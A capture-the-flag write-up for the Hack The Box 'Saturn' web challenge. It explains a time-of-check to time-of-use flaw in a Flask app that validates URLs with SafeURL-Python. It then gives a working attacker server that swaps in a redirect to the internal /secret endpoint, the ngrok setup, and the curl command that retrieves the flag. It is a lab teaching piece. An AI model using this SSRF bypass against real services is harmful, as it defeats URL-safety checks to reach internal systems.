Saturn
3 minutes to read
We are given the following website:

Moreover, we have the source code of the server, which is in Flask (Python).
Source code analysis
This is app.py:
from flask import Flask, request, render_template
import requests
from safeurl import safeurl
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        url = request.form['url']
        try:
            su = safeurl.SafeURL()
            opt = safeurl.Options()
            opt.enableFollowLocation().setFollowLocationLimit(0)
            su.setOptions(opt)
            su.execute(url)
        except:
            return render_template('index.html', error=f"Malicious input detected.")
        r = requests.get(url)
        return render_template('index.html', result=r.text)
    return render_template('index.html')
@app.route('/secret')
def secret():
    if request.remote_addr == '127.0.0.1':
        flag = ""
        with open('./flag.txt') as f:
            flag = f.readline()
        return render_template('secret.html', SECRET=flag)
    else:
        return render_template('forbidden.html'), 403
if __name__ == '__main__':
    app.run(host="0.0.0.0", port=1337, threaded=True)
As can be seen, there are two endpoints. We are interested in /secret in order to get the flag. However, the endpoint handler checks that the request is made from 127.0.0.1.
However, the / endpoint will perform a request to an arbitrary URL:
@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        url = request.form['url']
        # ...
        r = requests.get(url)
        return render_template('index.html', result=r.text)
    return render_template('index.html')
We only need to bypass this code snippet:
        try:
            su = safeurl.SafeURL()
            opt = safeurl.Options()
            opt.enableFollowLocation().setFollowLocationLimit(0)
            su.setOptions(opt)
            su.execute(url)
        except:
            return render_template('index.html', error=f"Malicious input detected.")
The above code inspects the URL and blocks it if there is a Location header with a redirection. Also, the default options block requests to 127.0.0.1. More information at SafeURL-Python.
Solution
The key here is that SafeURL-Python will check that the URL is safe, and if so, then another request is performed using requests.
TOCTOU to SSRF
Therefore, we have a time-of-check to time-of-use (TOCTOU) vulnerability. This means that we can host a server that returns a valid response first (so that SafeURL-Python does not block it), and then performs malicious things (when the request is made by requests, with no verification).
We can write a short Flask server for this, with a boolean flag to change the response handler once the check passes:
#!/usr/bin/env python3
from flask import Flask, redirect
app = Flask(__name__)
check = True
@app.route('/')
def index():
    global check
    if check:
        check = False
        return 'asdf'
    else:
        check = True
        return redirect('http://127.0.0.1:1337/secret')
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)
As can be seen, we will first send a valid response, and then perform a redirection to http://127.0.0.1:1337/secret in order to get the flag using Server-Side Request Forgery (SSRF).
Now, we need to make this server accessible using ngrok:
$ python3 solve.py
 * Serving Flask app 'solve'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:5000
Press CTRL+C to quit
ngrok
Full request capture now available in your browser: https://ngrok.com/r/ti
Session Status                online
Account                       Rocky (Plan: Free)
Version                       3.8.0
Region                        United States (us)
Web Interface                 http://127.0.0.1:4040
Forwarding                    https://abcd-12-34-56-78.ngrok-free.app -> http://localhost:5000
Connections                   ttl     opn     rt1     rt5     p50     p90
                              0       0       0.00    0.00    0.00    0.00
Flag
At this point, we can send the following request to the challenge server and get the flag:
$ curl 83.136.255.150:35824 -sd url=https://abcd-12-34-56-78.ngrok-free.app | grep -oE 'HTB{.*}'
HTB{Expl01t1ng_ssrfs_f0r_fun}
As expected, we will see two request on our malicious server log, which is due to the TOCTOU vulnerability:
127.0.0.1 - - [] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [] "GET / HTTP/1.1" 302 -
